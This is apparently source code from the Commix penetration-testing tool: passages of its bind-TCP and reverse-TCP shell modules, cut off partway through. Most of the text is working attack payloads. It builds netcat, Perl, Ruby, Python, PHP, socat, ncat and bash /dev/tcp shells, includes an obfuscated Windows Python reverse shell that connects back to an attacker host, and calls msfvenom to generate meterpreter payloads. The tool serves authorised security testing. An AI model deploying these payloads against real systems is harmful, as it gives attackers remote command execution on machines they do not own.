php_dir = common.read_input(message, default="Y", check_batch=True)
if php_dir in settings.CHOICE_YES:
break
elif php_dir in settings.CHOICE_NO:
message = "Please provide a full path directory for Python interpreter (e.g. '"
message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> "
settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PHP_DIR = True
break
else:
common.invalid_option(php_dir)
pass
"""
Set up the Python working directory on the target host.
"""
def set_python_working_dir():
while True:
message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
message += "' as Python interpreter on the target host? [Y/n] > "
python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
message = "Please provide a full path directory for Python interpreter (e.g. '"
message += "C:\\Python27\\python.exe') > "
settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PYTHON_DIR = True
break
else:
common.invalid_option(python_dir)
pass
"""
Set up the Python interpreter on linux target host.
"""
def set_python_interpreter():
while True:
message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
message += "' as Python interpreter on the target host? [Y/n] > "
python_interpreter = common.read_input(message, default="Y", check_batch=True)
if python_interpreter in settings.CHOICE_YES:
break
elif python_interpreter in settings.CHOICE_NO:
message = "Please provide a custom interpreter for Python (e.g. '"
message += "python27') > "
settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PYTHON_INTERPRETER = True
break
else:
common.invalid_option(python_interpreter)
pass
"""
check / set rhost option for bind TCP connection
"""
def check_rhost(rhost):
settings.RHOST = rhost
print("RHOST => " + settings.RHOST)
return True
"""
check / set lport option for bind TCP connection
"""
def check_lport(lport):
try:
if float(lport):
settings.LPORT = lport
print("LPORT => " + settings.LPORT)
return True
except ValueError:
err_msg = "The provided port must be numeric (i.e. 1234)"
print(settings.print_error_msg(err_msg))
return False
"""
Set up the netcat bind TCP connection
"""
def netcat_version(separator):
# Defined shell
shell = "sh"
# Netcat alternatives
NETCAT_ALTERNATIVES = [
"nc",
"busybox nc",
"nc.traditional",
"nc.openbsd"
]
while True:
nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.
commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """)
# Default Netcat
if nc_version == '1':
nc_alternative = NETCAT_ALTERNATIVES[0]
break
# Netcat for Busybox
if nc_version == '2':
nc_alternative = NETCAT_ALTERNATIVES[1]
break
# Netcat-Traditional
elif nc_version == '3':
nc_alternative = NETCAT_ALTERNATIVES[2]
break
# Netcat-Openbsd (nc without -e)
elif nc_version == '4':
nc_alternative = NETCAT_ALTERNATIVES[3]
break
# Check for available shell options
elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS):
if shell_options(nc_version):
return shell_options(nc_version)
# Invalid command
else:
common.invalid_option(nc_version)
continue
while True:
message = "Do you want to use '/bin' standard subdirectory? [y/N] > "
enable_bin_dir = common.read_input(message, default="N", check_batch=True)
if enable_bin_dir in settings.CHOICE_NO:
break
elif enable_bin_dir in settings.CHOICE_YES :
nc_alternative = "/bin/" + nc_alternative
shell = "/bin/" + shell
break
elif enable_bin_dir in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enable_bin_dir)
pass
if nc_version != '4':
# Netcat with -e
cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell
else:
# nc without -e
cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \
nc_alternative + " -l -p " + settings.LPORT + \
" 1>/tmp/f\""
return cmd
"""
"""
def other_bind_shells(separator):
while True:
other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell.
""" + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.
commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """)
# PHP-bind-shell
if other_shell == '1':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "php/bind_php"
output = "php_bind_tcp.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" RHOST=" + str(settings.RHOST) +
" LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost "+ str(settings.RHOST) + "\n"
"set lport "+ str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# Perl-bind-shell
elif other_shell == '2':
other_shell = "perl -MIO -e '" \
"$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \
"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
break
# Ruby-bind-shell
elif other_shell == '3':
other_shell = "ruby -rsocket -e '" \
"s=TCPServer.new(" + settings.LPORT + ");" \
"c=s.accept;" \
"s.close;" \
"$stdin.reopen(c);" \
"$stdout.reopen(c);" \
"$stderr.reopen(c);" \
"$stdin.each_line{|l|l=l.strip;" \
"next if l.length==0;" \
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'"
break
# Python-bind-shell
elif other_shell == '4':
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import pty,os,socket%0d" \
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
"s.bind((\"\"," + settings.LPORT + "))%0d" \
"s.listen(1)%0d" \
"(rem, addr) = s.accept()%0d" \
"os.dup2(rem.fileno(),0)%0d" \
"os.dup2(rem.fileno(),1)%0d" \
"os.dup2(rem.fileno(),2)%0d" \
"pty.spawn(\"/bin/sh\")%0d" \
"s.close()'"
break
# Socat-bind-shell
elif other_shell == '5':
other_shell = "socat tcp-listen:" + settings.LPORT + \
" exec:\"sh\""
break
# Ncat-bind-shell
elif other_shell == '6':
other_shell = "ncat -k -l " + settings.LPORT + " -e /bin/sh"
break
# PHP-bind-shell(meterpreter)
elif other_shell == '7':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "php/meterpreter/bind_tcp"
output = "php_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" RHOST=" + str(settings.RHOST) +
" LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost "+ str(settings.RHOST) + "\n"
"set lport "+ str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# Python-bind-shell(meterpreter)
elif other_shell == '8':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "python/meterpreter/bind_tcp"
output = "py_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" RHOST=" + str(settings.RHOST) +
" LPORT=" + str(settings.LPORT) +
" -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r") as content_file:
data = content_file.readlines()
data = ''.join(data)
#data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode()
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost "+ str(settings.RHOST) + "\n"
"set lport "+ str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS:
if not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
else:
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# Check for available shell options
elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS):
if shell_options(other_shell):
return shell_options(other_shell)
# Invalid option
else:
common.invalid_option(other_shell)
continue
return other_shell
"""
Choose type of bind TCP connection.
"""
def bind_tcp_options(separator):
while True:
bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells.
commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """)
if bind_tcp_option.lower() == "bind_tcp":
warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
# Option 1 - Netcat shell
elif bind_tcp_option == '1' :
bind_tcp_option = netcat_version(separator)
if bind_tcp_option.lower() not in settings.SHELL_OPTIONS:
shell_success()
break
elif bind_tcp_option.lower() in settings.SHELL_OPTIONS:
return bind_tcp_option
else:
pass
# Option 2 - Other (Netcat-Without-Netcat) shells
elif bind_tcp_option == '2' :
bind_tcp_option = other_bind_shells(separator)
if bind_tcp_option.lower() not in settings.SHELL_OPTIONS:
shell_success()
break
# Check for available shell options
elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS):
if shell_options(bind_tcp_option):
return shell_options(bind_tcp_option)
# Invalid option
else:
common.invalid_option(bind_tcp_option)
continue
return bind_tcp_option
"""
Set up the bind TCP connection
"""
def configure_bind_tcp(separator):
# Set up rhost for the bind TCP connection
while True:
sys.stdout.write(settings.BIND_TCP_SHELL)
option = _input()
if option.lower() == "bind_tcp":
warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
elif option.lower() == "?":
menu.bind_tcp_options()
continue
elif option.lower() == "quit":
raise SystemExit()
elif option.lower() == "os_shell" or option.lower() == "back":
settings.BIND_TCP = False
break
elif option.lower() == "reverse_tcp":
settings.REVERSE_TCP = True
settings.BIND_TCP = False
break
elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0:
break
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "rhost ":
if check_rhost(option[10:]):
if len(settings.LPORT) == 0:
pass
else:
break
else:
continue
elif option[4:10].lower() == "lhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option."
print(settings.print_error_msg(err_msg))
continue
elif option[4:10].lower() == "lport ":
if check_lport(option[10:]):
if len(settings.RHOST) == 0:
pass
else:
break
else:
continue
else:
common.invalid_option(option)
pass
else:
common.invalid_option(option)
pass
# eof commix-3.8/src/core/shells/reverse_tcp.py 0000775 0000000 0000000 00000104236 14466364451 0020612 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import base64
import random
import string
import subprocess
from src.utils import common
from src.utils import menu
from src.utils import update
from src.utils import settings
from src.core.compat import xrange
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Check for available shell options.
"""
def shell_options(option):
if option.lower() == "reverse_tcp":
warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
elif option.lower() == "?":
menu.reverse_tcp_options()
elif option.lower() == "quit":
raise SystemExit()
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "lhost ":
check_lhost(option[10:])
if option[4:10].lower() == "rhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option."
print(settings.print_error_msg(err_msg))
if option[4:10].lower() == "lport ":
check_lport(option[10:])
if option[4:12].lower() == "srvport ":
check_srvport(option[12:])
if option[4:12].lower() == "uripath ":
check_uripath(option[12:])
else:
return option
# Payload generation message.
def gen_payload_msg(payload):
info_msg = "Generating the '" + payload + "' shellcode. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
"""
Success msg.
"""
def shell_success():
info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ").\n"
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
"""
Error msg if the attack vector is available only for Windows targets.
"""
def windows_only_attack_vector():
error_msg = "This attack vector is available only for Windows targets."
print(settings.print_error_msg(error_msg))
"""
Message regarding the MSF handler.
"""
def msf_launch_msg(output):
info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)."
print(settings.print_info_msg(info_msg))
info_msg = "Once the loading is done, press here any key to continue..."
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdin.readline().replace("\n","")
# Remove the ouput file.
os.remove(output)
"""
Set up the PHP working directory on the target host.
"""
def set_php_working_dir():
while True:
message = "Do you want to use '" + settings.WIN_PHP_DIR
message += "' as PHP working directory on the target host? [Y/n] > "
php_dir = common.read_input(message, default="Y", check_batch=True)
if php_dir in settings.CHOICE_YES:
break
elif php_dir in settings.CHOICE_NO:
message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > "
settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True)
settings.USER_DEFINED_PHP_DIR = True
break
else:
common.invalid_option(php_dir)
pass
"""
Set up the Python working directory on the target host.
"""
def set_python_working_dir():
while True:
message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
message += "' as Python interpreter on the target host? [Y/n] > "
python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > "
settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True)
settings.USER_DEFINED_PYTHON_DIR = True
break
else:
common.invalid_option(python_dir)
pass
"""
Set up the Python interpreter on linux target host.
"""
def set_python_interpreter():
while True:
message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
message += "' as Python interpreter on the target host? [Y/n] > "
python_interpreter = common.read_input(message, default="Y", check_batch=True)
if python_interpreter in settings.CHOICE_YES:
break
elif python_interpreter in settings.CHOICE_NO:
message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > "
settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True)
settings.USER_DEFINED_PYTHON_INTERPRETER = True
break
else:
common.invalid_option(python_interpreter)
pass
"""
check / set lhost option for reverse TCP connection
"""
def check_lhost(lhost):
settings.LHOST = lhost
print("LHOST => " + settings.LHOST)
return True
"""
check / set lport option for reverse TCP connection
"""
def check_lport(lport):
try:
if float(lport):
settings.LPORT = lport
print("LPORT => " + settings.LPORT)
return True
except ValueError:
err_msg = "The provided port must be numeric (i.e. 1234)"
print(settings.print_error_msg(err_msg))
return False
"""
check / set srvport option for reverse TCP connection
"""
def check_srvport(srvport):
try:
if float(srvport):
settings.SRVPORT = srvport
print("SRVPORT => " + settings.SRVPORT)
return True
except ValueError:
err_msg = "The provided port must be numeric (i.e. 1234)"
print(settings.print_error_msg(err_msg))
return False
"""
check / set uripath option for reverse TCP connection
"""
def check_uripath(uripath):
settings.URIPATH = uripath
print("URIPATH => " + settings.URIPATH)
return True
"""
Set up the netcat reverse TCP connection
"""
def netcat_version(separator):
# Defined shell
shell = "sh"
# Netcat alternatives
NETCAT_ALTERNATIVES = [
"nc",
"busybox nc",
"nc.traditional",
"nc.openbsd"
]
while True:
nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.
commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """)
# Default Netcat
if nc_version == '1':
nc_alternative = NETCAT_ALTERNATIVES[0]
break
# Netcat for Busybox
if nc_version == '2':
nc_alternative = NETCAT_ALTERNATIVES[1]
break
# Netcat-Traditional
elif nc_version == '3':
nc_alternative = NETCAT_ALTERNATIVES[2]
break
# Netcat-Openbsd (nc without -e)
elif nc_version == '4':
nc_alternative = NETCAT_ALTERNATIVES[3]
break
# Check for available shell options
elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS):
if shell_options(nc_version):
return shell_options(nc_version)
# Invalid option
else:
common.invalid_option(nc_version)
continue
while True:
message = "Do you want to use '/bin' standard subdirectory? [y/N] > "
enable_bin_dir = common.read_input(message, default="N", check_batch=True)
if enable_bin_dir in settings.CHOICE_NO:
break
elif enable_bin_dir in settings.CHOICE_YES :
nc_alternative = "/bin/" + nc_alternative
shell = "/bin/" + shell
break
elif enable_bin_dir in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enable_bin_dir)
pass
if nc_version != '4':
# Netcat with -e
cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell
else:
# nc without -e
cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \
nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + \
" 1>/tmp/f\""
return cmd
"""
Set up other [1] reverse tcp shell connections
[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
"""
def other_reverse_shells(separator):
while True:
other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows).
""" + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows).
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.
commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """)
# PHP-reverse-shell
if other_shell == '1':
other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
"exec(\"/bin/sh -i <%263 >%263 2>%263\");'"
break
# Perl-reverse-shell
elif other_shell == '2':
other_shell = "perl -e 'use Socket;" \
"$i=\"" + settings.LHOST + "\";" \
"$p=" + settings.LPORT + ";" \
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \
"if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \
"open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \
"exec(\"/bin/sh -i\");};'"
break
# Ruby-reverse-shell
elif other_shell == '3':
other_shell = "ruby -rsocket -e '" \
"c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
"$stdin.reopen(c);" \
"$stdout.reopen(c);" \
"$stderr.reopen(c);" \
"$stdin.each_line{|l|l=l.strip;" \
"next if l.length==0;" \
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'"
break
# Python-reverse-shell
elif other_shell == '4':
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
"s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \
"os.dup2(s.fileno(),0)%0d" \
"os.dup2(s.fileno(),1)%0d" \
"os.dup2(s.fileno(),2)%0d" \
"p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'"
break
# Socat-reverse-shell
elif other_shell == '5':
other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \
" exec:\"sh\",pty,stderr,setsid,sigint,sane"
break
# Bash-reverse-shell
elif other_shell == '6':
tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)])
other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \
" 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file
break
# Ncat-reverse-shell
elif other_shell == '7':
other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh"
break
# Windows Python-reverse-shell
elif other_shell == '8':
data = "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
"[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
" __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
" {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
" __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
" after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
" __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
"for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
"for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
"for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \
" stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
"in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
"[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
"if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
"for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
"[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
"for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
"for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
"for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
"globals(), __import__('contextlib'))"
if not settings.TARGET_OS == settings.OS.WINDOWS:
windows_only_attack_vector()
continue
else:
if not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
break
# PHP-reverse-shell (meterpreter)
elif other_shell == '9':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "php/meterpreter/reverse_tcp"
output = "php_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" LHOST=" + str(settings.LHOST) +
" LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r+") as content_file:
data = content_file.readlines()
